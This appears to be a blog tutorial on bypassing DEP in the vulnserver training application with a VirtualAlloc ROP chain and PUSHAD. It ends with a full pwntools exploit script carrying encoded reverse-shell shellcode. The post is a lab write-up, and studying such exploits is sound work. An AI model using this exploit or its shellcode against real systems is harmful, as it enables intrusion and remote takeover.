top of page
  • Фото автораShelldon

Bypassing DEP with VirtualAlloc. PUSHAD method

Обновлено: 29 мар. 2023 г.

In the previous part I have used VirtualProtect to bypass DEP and obtain a remote shell. In this blog post we gonna talk about VirtualAlloc.


VirtualAlloc - function API, that used to allocate a memory with some protection and/or change this protection for memory.

The parameters of VirtualAlloc:

LPVOID VirtualAlloc(   
	[in, optional] LPVOID lpAddress,   	
	[in]           SIZE_T dwSize,   
	[in]           DWORD  flAllocationType,  
	[in]           DWORD  flProtect 
);

lpAddress - the address of region to allocate and/or change the protection

dwSize - the size of region in bytes

flAllocationType - the opcode for type of memory to allocate

flProtect - the opcode of protection


We will store neccessary paramters by this way:

EAX - ROPNOP

ECX - flProtect

EDX - flAllocationType

EBX - dwSize

ESP - lpAddress

EBP - Return address for VirtuaAlloc

ESI - Address of VirtualAlloc

EDI - Address of ret


So, Let's create ROP chain and bypass DEP.


I will use this code for exploit skeleton:


As you can see, I already found an offset to control EIP, address of ret instruction.

Let's create rop chain. First of all, I will use ropper for searching gadgets to rop.

In this blog I won't bypass ASLR so, let's think that we have only DEP.


The address of vulnserver starts 0x00400000. We can't use it because we have 0 byte bad char. Let's use essfunc.dll.


# 1. EDI

Let's setup EDI register. EDI register should contain a pointer to ret instruction.

In exploit we already use address of ret instruction, let's use it once more.


I will use search command for ropper to find pop edi; ret instruction.


In essfunc.dll doesn't exist pop edi; ret gadget. But we have another two good gadets.

Let's use second one.

So our rop chain looks like that, let's add breakpoint to first and see the result.

And our stack looks like that:

Let's step one to pop edi

Ass you can see edi contains the address of ret instruction. After pop ebp, ebp will equals to junk (0x41414141):

So, EDI and EBP look correct, let's setup ESI.


# 2. ESI

Register ESI should contains pointer to VirtualAlloc address.

Let's load vulnserver to IDA and search VirtualAlloc IAT address.

If we search with word 'Virtual', we see that we have only VirtualProtect and VirtualQuery API-s. There is another method to find VirtualAlloc address.

If we know the VirtualProtect IAT address, we can find it's address in KERNEL32. To get this address we just dereference it. Let's look.





We found VirtualProtectStub address insight address of VirtualProtect IAT address with u (disassemble) command.

! NOTE that VirtualProtect in KERNEL32 writed like VirtualProtectStub, also with VirtualAlloc

With x (examine symbols) command we examined the list of symbols that contain a 'Virtual' word. If we look deeper, we can find the address of VirtualAllocStub.

Great! Just found the real address. Let's subtract it from VirtualProtectStub address.



We need to add 4512 bytes to points to VirtualAllocStub. Let's find gadgets and setup ESI.


I do not find correct gadget to dereference IAT address, so let's search in another dll.

From KERNEL32.dll I found really good candidate.



Note that kernel32.dll has ASLR protection, so that this address will be another. We will ignore the first 3 values and and another one to kernel32.dll base address in windbg.


The problem is we cannot load VirtualProtect IAT address to stack, because it contains 0 bytes in upper bytes. We can subtract it from 0 to get a another value without 0 bytes.



Let's use this value and negate it to get positive value.




As you can see we find corrent address of neg eax; ret.





Also about dereference.

In this instruction will move the insight address of VirtualProtect IAT address (VirtualProtectStub) address.





Here also found correct address to add eax, ecx to points VirtualProtectStub.

To move address of VirtualProtectStub to esi I will use to gadgets. One from kernel32.dll and one from kernelbase.dll.

First of all, we will change values between eax and edx:

Secondly, we will move edx value to esi:

(In kernelbase.dll)





ROP chain looks like that:

Let's set breakpoint to pop eax and see what happens.


As you can see execution hit the breakpoint.

EAX will pop the negative value of VirtualProtect IAT address.




After step into:

EAX contains that value.


The next gadget is neg eax. So will get a positive address of VirtualProtect:

Before

After

Alright, the next step is dereference it.

Before

After

Great eax, contains address of VirtualProtectStub.


The next step is add necessary bytes to points to VirtualAllocStub.


As you can see in the top of stack located the negative value and it will popped to ecx;

ECX conatains negative value.

Let's add ecx to eax and get an address to VirtualProtectStub.

Before

After

Great! We just got VirtualAllocStub address.

Let's move this address to ESI.


First of all, change values between eax and edx

Before

After

Great eax and edx exchanged between.


Let's exchange edx and esi between.

Before

After



After xchg edx, esi we have retn 3. What does it mean? So, after return, the 3 will be added to stack pointer. This is some problem for us, because stack will not aligned.

To solve this problem I will increase esp and after that store 4 A-s. So, it helps me to align stack.

# 3. EBP

Return address for VirtualAlloc will be address of jmp esp instruction. After executing VirtualAllocStub our stack pointer will be points jmp esp address. After jmp esp to jump to shellcode.


Current exploit looks like:

Just pop the jmp esp address and that's it :)

Before


After


# 4. ESP

We don't need to setup esp, this register will be automatically points to our shellcode.


# 5. EBX

For dwSize argument we can store 1, since VirtualAlloc will apply the new protections on the entire memory page. But this value contains null bytes. But I don't find necessary gadgets for this operation, but I found really good gadget:

The value of fs register will move to ebx, that means fs will has a not too big value, also not bad for dwSize argument.



# 6. EDX

For flAllocationType we will store 0x1000 (MEM_COMMIT | MEM_RESERVE).

But when subtract 0 from 0x1000, in negative value will also null byte

Let's subtract from big value.

We can use the second part of this value and add it to 88888888 to get a 0x1000.

Firstly we store the big value into eax. Than the second value will be in ecx. After adding these values we get 0x1000 in eax. The final step is exchangin eax and edx.

Before exchange:

After exchange:

Great! edx contains 0x1000


# 7. ECX

For ECX we should store 0x40 opcode (PAGE_EXECUTE_READWRITE). So that opcode for execute, read and write, full access.

Current exploit:

Firstly we will store -0x40 to eax and negate it to get positive value. After just exchange eax and ecx between them.

And look at retn after xchg, we have 0x1d (29) that is not multiple of 4 and stack will be not aligned. Remember that


Finall result:

ECX successfully contains 0x40.


# 8. EAX and PUSHAD

So for Eax let's store 4 nops (0x90).

After setting up eax, just add pushad address.

Let's see final result.

Before pushad:


After

We can see that all registers values/address stored in the stack. Let's continue.

Now let's see in VirtualAllocStub.

let's type pt command to end of the function.

After return we jump to jmp esp

And esp points to 4 Nops and shellcode

Let's continue

Awesome, we successfully bypassed DEP and escape access violation. Let's try with reverse shell shellcode.


I add sub esp, 0x1 instruction to align the stack and some nops.


Also remote shell is done!


EXPLOIT:


from pwn import * import sys def main(): host = sys.argv[1] port = 9999 size = 5000 rop = b'' # EDI: return address rop += p32(0x6250172b) # pop edi; pop ebp; ret rop += p32(0x62501022) # address of ret rop += p32(0x41414141) # junk for ebp # ESI: VirtualAlloc address rop += p32(0x625011b4) # pop eax; ret rop += p32(0xffbf9eac) # negative value of VirtuaProtect rop += p32(0x763b9b8a) # neg eax; ret rop += p32(0x763b8ad8) # mov eax, [eax]; ret rop += p32(0x6250120c) # pop ecx; ret rop += p32(0xffffee60) # -4512 rop += p32(0x763903f4) # add eax, ecx; ret rop += p32(0x763d690a) # xchg eax, edx; ret rop += p32(0x772c8382) # xchg esi, edx; retn 3 [kernelbase.dll] rop += p32(0x772f5973) # inc esp; ret rop += b'A' * 4 # junk for aligning # EBP: Return address rop += p32(0x625010b5) # pop ebp; ret rop += p32(0x625011af) # jmp esp # EBX: dwSize rop += p32(0x7732d2cc) # mov ebx, fs; or [eax], dl; ret # EDX: flAllocationType rop += p32(0x625011b4) # pop eax; ret rop += p32(0x88888888) # big value rop += p32(0x6250120c) # pop ecx; ret rop += p32(0x77778778) # second value rop += p32(0x763903f4) # add eax, ecx; ret rop += p32(0x763d690a) # xchg eax, edx; ret # ECX: flProtect rop += p32(0x625011b4) # pop eax; ret rop += p32(0xffffffc0) # -0x40 rop += p32(0x763b9b8a) # neg eax; ret rop += p32(0x77392a38) # xchg eax, ecx; retn 0x1d # EAX: 4 nops rop += p32(0x625011b4) # pop eax; ret rop += b'A' * 0x1d # junk for retn 0x1d rop += b'\x90' * 4 # 4 nops # PUSHAD; ret rop += p32(0x77ea9152) # pushad; ret shellcode = b'\x83\xEC\x01' # sub esp, 0x1 shellcode += b'\x90' * 20 # nops shellcode += b"\xbe\x81\x88\xf7\x6d\xd9\xe8\xd9\x74\x24\xf4" shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x72\x12\x83\xea\xfc" shellcode += b"\x03\xf3\x86\x15\x98\x0f\x7e\x5b\x63\xef\x7f" shellcode += b"\x3c\xed\x0a\x4e\x7c\x89\x5f\xe1\x4c\xd9\x0d" shellcode += b"\x0e\x26\x8f\xa5\x85\x4a\x18\xca\x2e\xe0\x7e" shellcode += b"\xe5\xaf\x59\x42\x64\x2c\xa0\x97\x46\x0d\x6b" shellcode += b"\xea\x87\x4a\x96\x07\xd5\x03\xdc\xba\xc9\x20" shellcode += b"\xa8\x06\x62\x7a\x3c\x0f\x97\xcb\x3f\x3e\x06" shellcode += b"\x47\x66\xe0\xa9\x84\x12\xa9\xb1\xc9\x1f\x63" shellcode += b"\x4a\x39\xeb\x72\x9a\x73\x14\xd8\xe3\xbb\xe7" shellcode += b"\x20\x24\x7b\x18\x57\x5c\x7f\xa5\x60\x9b\xfd" shellcode += b"\x71\xe4\x3f\xa5\xf2\x5e\x9b\x57\xd6\x39\x68" shellcode += b"\x5b\x93\x4e\x36\x78\x22\x82\x4d\x84\xaf\x25" shellcode += b"\x81\x0c\xeb\x01\x05\x54\xaf\x28\x1c\x30\x1e" shellcode += b"\x54\x7e\x9b\xff\xf0\xf5\x36\xeb\x88\x54\x5f" shellcode += b"\xd8\xa0\x66\x9f\x76\xb2\x15\xad\xd9\x68\xb1" shellcode += b"\x9d\x92\xb6\x46\xe1\x88\x0f\xd8\x1c\x33\x70" shellcode += b"\xf1\xda\x67\x20\x69\xca\x07\xab\x69\xf3\xdd" shellcode += b"\x7c\x39\x5b\x8e\x3c\xe9\x1b\x7e\xd5\xe3\x93" shellcode += b"\xa1\xc5\x0c\x7e\xca\x6c\xf7\xe9\x35\xd8\xf6" shellcode += b"\xe3\xdd\x1b\xf8\xf2\xa6\x95\x1e\x9e\xc8\xf3" shellcode += b"\x89\x37\x70\x5e\x41\xa9\x7d\x74\x2c\xe9\xf6" shellcode += b"\x7b\xd1\xa4\xfe\xf6\xc1\x51\x0f\x4d\xbb\xf4" shellcode += b"\x10\x7b\xd3\x9b\x83\xe0\x23\xd5\xbf\xbe\x74" shellcode += b"\xb2\x0e\xb7\x10\x2e\x28\x61\x06\xb3\xac\x4a" shellcode += b"\x82\x68\x0d\x54\x0b\xfc\x29\x72\x1b\x38\xb1" shellcode += b"\x3e\x4f\x94\xe4\xe8\x39\x52\x5f\x5b\x93\x0c" shellcode += b"\x0c\x35\x73\xc8\x7e\x86\x05\xd5\xaa\x70\xe9" shellcode += b"\x64\x03\xc5\x16\x48\xc3\xc1\x6f\xb4\x73\x2d" shellcode += b"\xba\x7c\x83\x64\xe6\xd5\x0c\x21\x73\x64\x51" shellcode += b"\xd2\xae\xab\x6c\x51\x5a\x54\x8b\x49\x2f\x51" shellcode += b"\xd7\xcd\xdc\x2b\x48\xb8\xe2\x98\x69\xe9" buf = b'A' * 2003 buf += p32(0x62501022) # address of ret buf += rop buf += shellcode buf += b'B' * (size - len(buf)) payload = buf io = remote(host, port) io.recv(1024) io.send(b'TRUN /.:/' + buf + b'\r\n') io.close() if __name__ == '__main__': main()




337 просмотров0 комментариев

Недавние посты

Смотреть все

ความคิดเห็น


bottom of page